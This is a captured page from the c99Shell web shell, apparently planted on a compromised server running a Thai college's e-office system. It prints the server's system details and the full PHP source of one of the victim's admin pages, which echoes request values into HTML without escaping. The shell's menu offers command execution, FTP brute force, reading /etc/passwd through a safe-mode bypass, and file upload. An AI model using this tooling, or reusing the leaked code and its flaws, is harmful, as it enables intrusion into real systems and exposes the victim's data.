!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/eoffice/admin/   drwxr-xr-x
Free 50.88 GB of 127.8 GB (39.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editSelectDocPost.php (8.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once "template.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocuments.php";
include_once 
"funct.php";
include_once 
"../class/clsDepartment.php";
 include_once 
"../class/clsDocLineConfig.php";
 include_once 
"../class/clsDocLinePosition.php";
 include_once 
"../class/clsDocReceiveSend.php";
 include_once 
"../class/clsPerson.php";
 include_once 
"../class/clsannounceDocType.php";
 include_once 
"../class/clsDocattatches.php";
 include_once 
"../link/keyThai.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDt = new doctype($oC);
$oDoc = new Documents($oC);    //
$oDoc2 = new Documents($oC);    //
$oDP = new Department($oC);
$oDP1 = new Department($oC);
$oDlc = new DocLineConfig($oC);
$oDlc1 = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlc4 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oPS = new person($oC);
$oAn=new announceDocType($oC);
$oAn1=new announceDocType($oC);
$oAn2=new announceDocType($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();
$oDatt = new Docattatches($oC);

?>
<html>
<head>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="searchEditSelectDocPost.php">แก้ไขการกรองข่าวแจ้งขึ้นเว็บ</a>
    </font>
    </legend>
        <form name="ff"  METHOD="POST" action="processSelectDocPost.php" >
        <table width="99%" align="center">
        <?
            $oAn
->SearchByKey($AnID);
            
$oAn->GetRecord();
            
?>
            <tr><td><strong>แก้ไขการกรองข่าวแจ้งขึ้นเว็บของวิทยาลัย&nbsp;</strong>ประเภท<? echo $oAn->AnName?></td></tr>
            <tr><td><? if(th2a($yearDoc) == 0){
                          echo 
"วันที่ดำเนินการกรองข่าวตั้งแต่วันที่ "; list($day1,$month1,$year1) = split('/',$start); echo $day1."/".$month1."/"; echo $year1+543;                        
                        echo 
" ถึง "; list($day2,$month2,$year2) = split('/',$end); echo $day2."/".$month2."/"; echo $year2+543;                        
                    }else{
                        echo 
"ช่วงวันที่ที่ดำเนินการกรองข่าวประจำปี ".a2th($yearDoc);
                    }
            
?></td></tr>
        <tr> 
              <td  colspan="2"><hr></td>
            </tr>
            </table>
        <table width="99%" align="center">
            <tr align="center">
            <td align="center" colspan="2">
              <table width="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"  style="border-collapse:collapse">
                <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> 
                  <td width="20%" rowspan="2" align="center"><strong>ที่หนังสือ 
                    เรื่อง</strong></td>
                  <td width="13%" rowspan="2" align="center"><strong>เอกสาร</strong></td>
                  <td width="14%" rowspan="2" align="center"><strong>หน่วยงานที่แจ้งข่าว</strong></td>
                 <td   rowspan="2" width="20%" align="center"><strong>(วันเดือนปีที่ประกาศขึ้นเว็บ)<br>(ประเภทข่าว)<br>(แจ้งขึ้นเว็บภายนอก/ภายใน)</strong></td>
                  <td colspan="2" align="center"><strong>กรองข่าว</strong></td>
                  <td width="10%" rowspan="2" align="center"><strong>วันที่กรองข่าว</strong></td>
                  <td width="5%" rowspan="2" align="center"><strong>บันทึก<br>การแก้ไข</strong></td>
                </tr>
                <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> 
                  <td width="4%" align="center"><strong>เลือก</strong></td>
                  <td width="5%" align="center"><strong>ไม่เลือก</strong></td>
                </tr>
               <?  $startu=$start;
                      
$endu=$end;
              if(
th2a($yearDoc) == 0){
                    list(
$dd$mm$yy) = split('[/]',$start);
                    
$start=($yy+543)."-".$mm."-".$dd;
                    list(
$dd$mm$yy) = split('[/]',$end);
                    
$end=($yy+543)."-".$mm."-".$dd;
                }else{
                    
$yy th2a($yearDoc);
                    
$start $yy."-01-01";
                    
$end $yy."-12-31";
                }
                
               
$oDoc->searchSelectedPostDoc($AnID,$start,$end,th2a($DocSubject),th2a($DocNo));
               while(
$oDoc->GetRecord()){
               
?>
                  <td>&nbsp;&nbsp;<? echo $oDoc->DocNo?><? echo "<br>&nbsp;&nbsp;".$oDoc->DocSubject?></td>
                <td align="left">
                            <?   if($oDoc->DocPID=="0" || $oDoc->DocPID==""){  $searchDoc=$oDoc->DocID; }else{ $searchDoc=$oDoc->DocPID; }
                                
$oDatt->SearchByDocID($searchDoc);
                                while(
$oDatt->GetRecord()){  
                                    
$c++;  
                                    
$pathfile="../documents/".$oDatt->DaUpFileName
                                
?>
                                    &nbsp;<a href="<? echo $pathfile ?>" target="_blank"><img src="../picture/allregistered_ico.gif" alt="เปิดดูแฟ้มหนังสือ"  border="0"  style="cursor:pointer;" ></a>
                                <?    echo "&nbsp;".$c.".&nbsp;".$oDatt->DaFileName."<br>";
                                } 
?>
                </td>
                <td  align="left">
                <?
                    $oDlc
->SearchByKey($oDoc->DlcID);  $oDlc->GetRecord();    
                    echo 
"&nbsp;".$oDP->SearchDeptName($oDlc->deptId);
                
?>
                </td>
                 <td align="left"><br><? echo abbreDate2($oDoc->DocstartDatePost,'/')."&nbsp;-&nbsp;".abbreDate2($oDoc->DocendDatePost,'/'?>
                 <br>
                 <select name="AnIDselect[<? echo $oDoc->DocID?>]" >
                <?     
                $oAn2
->RSannounceDocType();
                    while(
$oAn2->GetRecord()){
              
?>
                    <option value="<? echo $oAn2->AnID?><? if($oDoc->AnID==$oAn2->AnID){  echo "selected"; }?>><? echo $oAn2->AnName?></option>
                  <? ?></select>
                  <br>
                  <select name="DocShowInOut[<? echo $oDoc->DocID?>]" >
                    <option value="1" <? if($oDoc->DocShowInOut=="1"){  echo "selected"; }?>>แจ้งขึ้นเว็บภายใน</option>
                    <option value="2" <? if($oDoc->DocShowInOut=="2"){  echo "selected"; }?>>แจ้งขึ้นเว็บภายนอก</option>
                    <option value="3" <? if($oDoc->DocShowInOut=="3"){  echo "selected"; }?>>แจ้งขึ้นเว็บภายนอกและภายนอก</option>
                  </select>
                 </td>
                <td  align="center"><input name="selectPost[<? echo $oDoc->DocID?>]" type="radio"     value="Y" <? if($oDoc->DocGetPost =="Y"){  echo "checked"; }?>></td>
                <td align="center"><input name="selectPost[<? echo $oDoc->DocID?>]" type="radio"   value="N" <? if($oDoc->DocGetPost =="N"){  echo "checked"; }?>></td>
                  <td align="center"><? 
                      
if($oDoc->DocDateGetPost !="0000-00-00 00:00:00"){
                                 list(
$DocD,$DocT) = split(' ',$oDoc->DocDateGetPost);
                                echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
                        }
?>
                </td>
                  <td align="center"> 
                  <a onClick='return checkChange(<?php echo $oDoc->DocID?>)'><img src="../picture/save.gif" alt="บันทึกการแก้ไข"  border="0" style="cursor:pointer;"></a>
                  </td>
                </tr>
                <? $i++;  }   
                        if(
$i==0){
                
?>
                <tr><td colspan="8" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** ไม่มีรายการหนังสือที่กรองข่าวขึ้นเว็บ **</font></td></tr>
                <? ?>
              </table>
            </td></tr>
            <tr><td align="center" colspan="2">
<input type="button" name="cancel" value="กลับหน้าหลัก" onClick="location.href = 'searchEditSelectDocPost.php'"></td></tr>
            </table>
            <input type="hidden" name="DocID">
            <input type="hidden" name="method"  value="changeSelectDoc">
            <input type="hidden" name="AnID"  value="<? echo $AnID?>">
            <input type="hidden" name="DocSubject"  value="<? echo $DocSubject?>">
            <input type="hidden" name="DocNo"  value="<? echo $DocNo?>">
            <input type="hidden" name="start"  value="<? echo $startu?>">
            <input type="hidden" name="end"  value="<? echo $endu?>">
            <input type="hidden" name="yearDoc"  value="<? echo $yearDoc?>">
</form>
                 </fieldset> 
        </td>
        </tr>
</table>
<table width="95%" border="0" align="center">
        <tr> 
          <td width="76" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="618" align="left"><img src="../picture/allregistered_ico.gif" alt=""  border="0" > 
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อเปิดดูแฟ้มหนังสือ </font></td>
        </tr>
            <tr> 
          <td width="76" >&nbsp;</td>
          <td width="618" align="left">
            <img src="../picture/save.gif" alt="บันทึกการแก้ไข"  border="0"> 
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อแก้ไขการกรองข่าว</font></td>
        </tr></table>
</body>
</html>
<script>
function checkChange(docid){
        var agree=confirm("คุณต้องการแก้ไขการกรองข่าวนี้แน่นอนใช่หรือไม่ ?");
        if (agree){
            document.ff.DocID.value=docid;
            document.ff.submit();
        }else{
            return false ;
        }
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0134 ]--